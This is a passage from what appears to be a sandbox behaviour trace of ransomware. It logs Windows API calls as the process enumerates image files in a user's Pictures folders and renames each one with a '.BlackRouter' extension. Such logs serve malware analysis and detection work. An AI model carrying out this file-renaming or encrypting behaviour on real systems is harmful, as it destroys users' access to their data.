HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\zU5YUGfB5ftmJPNYcO.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\zu5yugfb5ftmjpnyco.png.blackrouter")) returned 1 [0042.548] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x10700 [0042.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\TmQwbFLkGnzkbnDN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\tmqwbflkgnzkbndn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb39fd250, ftCreationTime.dwHighDateTime=0x1d46292, ftLastAccessTime.dwLowDateTime=0xa25da0d0, ftLastAccessTime.dwHighDateTime=0x1d46067, ftLastWriteTime.dwLowDateTime=0xbfe08c70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10710)) returned 1 [0042.553] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\TmQwbFLkGnzkbnDN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\tmqwbflkgnzkbndn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\TmQwbFLkGnzkbnDN.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\tmqwbflkgnzkbndn.jpg.blackrouter")) returned 1 [0042.554] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x14a9f [0042.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\w6D2x-ERD0XtSOSO2V G.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\w6d2x-erd0xtsoso2v g.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8f5d90, ftCreationTime.dwHighDateTime=0x1d456cb, ftLastAccessTime.dwLowDateTime=0xef1f550, ftLastAccessTime.dwHighDateTime=0x1d45ed5, ftLastWriteTime.dwLowDateTime=0xbfe2edd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14aa0)) returned 1 [0042.568] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\w6D2x-ERD0XtSOSO2V G.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\w6d2x-erd0xtsoso2v g.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\w6D2x-ERD0XtSOSO2V G.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\w6d2x-erd0xtsoso2v g.jpg.blackrouter")) returned 1 [0042.573] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.573] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.574] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.575] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.577] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x137c7 [0042.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\YT-bd Ihf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\yt-bd ihf.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a9df170, ftCreationTime.dwHighDateTime=0x1d4612d, ftLastAccessTime.dwLowDateTime=0x688e07a0, ftLastAccessTime.dwHighDateTime=0x1d45dfb, ftLastWriteTime.dwLowDateTime=0xbfe54f30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x137d0)) returned 1 [0042.586] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\YT-bd Ihf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\yt-bd ihf.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\YT-bd Ihf.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\yt-bd ihf.png.blackrouter")) returned 1 [0042.587] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x464b [0042.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\2ocAepe x1O.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\2ocaepe x1o.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8372f70, ftCreationTime.dwHighDateTime=0x1d4600e, ftLastAccessTime.dwLowDateTime=0x4cdbea20, ftLastAccessTime.dwHighDateTime=0x1d464a1, ftLastWriteTime.dwLowDateTime=0xbfe54f30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4650)) returned 1 [0042.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\2ocAepe x1O.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\2ocaepe x1o.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\2ocAepe x1O.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\2ocaepe x1o.bmp.blackrouter")) returned 1 [0042.590] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x241c [0042.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\Sop_eB4pBkWVWYp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\sop_eb4pbkwvwyp.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f0b9a0, ftCreationTime.dwHighDateTime=0x1d46242, ftLastAccessTime.dwLowDateTime=0x77b6dd80, ftLastAccessTime.dwHighDateTime=0x1d45e4e, ftLastWriteTime.dwLowDateTime=0xbfe54f30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2420)) returned 1 [0042.593] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\Sop_eB4pBkWVWYp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\sop_eb4pbkwvwyp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\Sop_eB4pBkWVWYp.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\ml9wxw\\jsnn\\hie4mlfqkskb\\km-vzhaomjbxvfepr\\sop_eb4pbkwvwyp.jpg.blackrouter")) returned 1 [0042.598] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.598] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.599] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.599] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.601] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x188a8 [0042.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\8EOlRM112D_CyMf5U.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\8eolrm112d_cymf5u.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8740a6e0, ftCreationTime.dwHighDateTime=0x1d45684, ftLastAccessTime.dwLowDateTime=0x31473030, ftLastAccessTime.dwHighDateTime=0x1d460f5, ftLastWriteTime.dwLowDateTime=0xbfe7b090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x188b0)) returned 1 [0042.608] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\8EOlRM112D_CyMf5U.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\8eolrm112d_cymf5u.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\8EOlRM112D_CyMf5U.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\8eolrm112d_cymf5u.gif.blackrouter")) returned 1 [0042.609] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x10e0f [0042.615] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\_IrQcH0h2xbgeeMatKNb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\_irqch0h2xbgeematknb.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8e63c0, ftCreationTime.dwHighDateTime=0x1d465ca, ftLastAccessTime.dwLowDateTime=0x995c2bf0, ftLastAccessTime.dwHighDateTime=0x1d46003, ftLastWriteTime.dwLowDateTime=0xbfea11f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10e10)) returned 1 [0042.616] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\_IrQcH0h2xbgeeMatKNb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\_irqch0h2xbgeematknb.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\_IrQcH0h2xbgeeMatKNb.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\_irqch0h2xbgeematknb.gif.blackrouter")) returned 1 [0042.616] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1279c [0042.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\ygnUCsv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\ygnucsv.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85fe0a00, ftCreationTime.dwHighDateTime=0x1d46293, ftLastAccessTime.dwLowDateTime=0x7e317b20, ftLastAccessTime.dwHighDateTime=0x1d45688, ftLastWriteTime.dwLowDateTime=0xbfea11f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x127a0)) returned 1 [0042.622] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\ygnUCsv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\ygnucsv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\ygnUCsv.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\ygnucsv.bmp.blackrouter")) returned 1 [0042.623] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x168e5 [0042.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\zZw0.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\zzw0.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f9c96a0, ftCreationTime.dwHighDateTime=0x1d45e46, ftLastAccessTime.dwLowDateTime=0xc1ee2e70, ftLastAccessTime.dwHighDateTime=0x1d45e4a, ftLastWriteTime.dwLowDateTime=0xbfec7350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x168f0)) returned 1 [0042.630] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\zZw0.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\zzw0.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\zZw0.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\zzw0.bmp.blackrouter")) returned 1 [0042.630] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x8016 [0042.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\_eFIyEVqkUSz2ZQewo3.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\_efiyevqkusz2zqewo3.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c6024d0, ftCreationTime.dwHighDateTime=0x1d4630a, ftLastAccessTime.dwLowDateTime=0x7e3eb2e0, ftLastAccessTime.dwHighDateTime=0x1d4583b, ftLastWriteTime.dwLowDateTime=0xbfec7350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8020)) returned 1 [0042.634] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\_eFIyEVqkUSz2ZQewo3.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\_efiyevqkusz2zqewo3.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\_eFIyEVqkUSz2ZQewo3.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\_efiyevqkusz2zqewo3.bmp.blackrouter")) returned 1 [0042.635] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x133bc [0042.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\9IlOSW oV08yR L0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\9ilosw ov08yr l0.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2dfbf0, ftCreationTime.dwHighDateTime=0x1d461d3, ftLastAccessTime.dwLowDateTime=0x406dee20, ftLastAccessTime.dwHighDateTime=0x1d45cb1, ftLastWriteTime.dwLowDateTime=0xbfec7350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x133c0)) returned 1 [0042.640] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\9IlOSW oV08yR L0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\9ilosw ov08yr l0.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\9IlOSW oV08yR L0.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\9ilosw ov08yr l0.jpg.blackrouter")) returned 1 [0042.641] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1677a [0042.649] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\eQ6OA4w4YW6y4kkx-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\eq6oa4w4yw6y4kkx-.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85582480, ftCreationTime.dwHighDateTime=0x1d45647, ftLastAccessTime.dwLowDateTime=0xd714fab0, ftLastAccessTime.dwHighDateTime=0x1d45de4, ftLastWriteTime.dwLowDateTime=0xbfeed4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16780)) returned 1 [0042.649] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\eQ6OA4w4YW6y4kkx-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\eq6oa4w4yw6y4kkx-.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\eQ6OA4w4YW6y4kkx-.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\eq6oa4w4yw6y4kkx-.jpg.blackrouter")) returned 1 [0042.649] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x13367 [0042.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\je7OWLdwf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\je7owldwf.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04b80, ftCreationTime.dwHighDateTime=0x1d461fc, ftLastAccessTime.dwLowDateTime=0x5609abf0, ftLastAccessTime.dwHighDateTime=0x1d45a8d, ftLastWriteTime.dwLowDateTime=0xbfeed4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13370)) returned 1 [0042.654] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\je7OWLdwf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\je7owldwf.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\je7OWLdwf.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewbrvedtyxdbkgx\\0gcl4uvxfo\\pij6\\je7owldwf.jpg.blackrouter")) returned 1 [0042.659] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.659] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.660] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.661] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.663] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x1441d [0042.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\MMSLiD07 s_kV.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r1cc35ieljwxcm\\mmslid07 s_kv.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a2aafc0, ftCreationTime.dwHighDateTime=0x1d458c1, 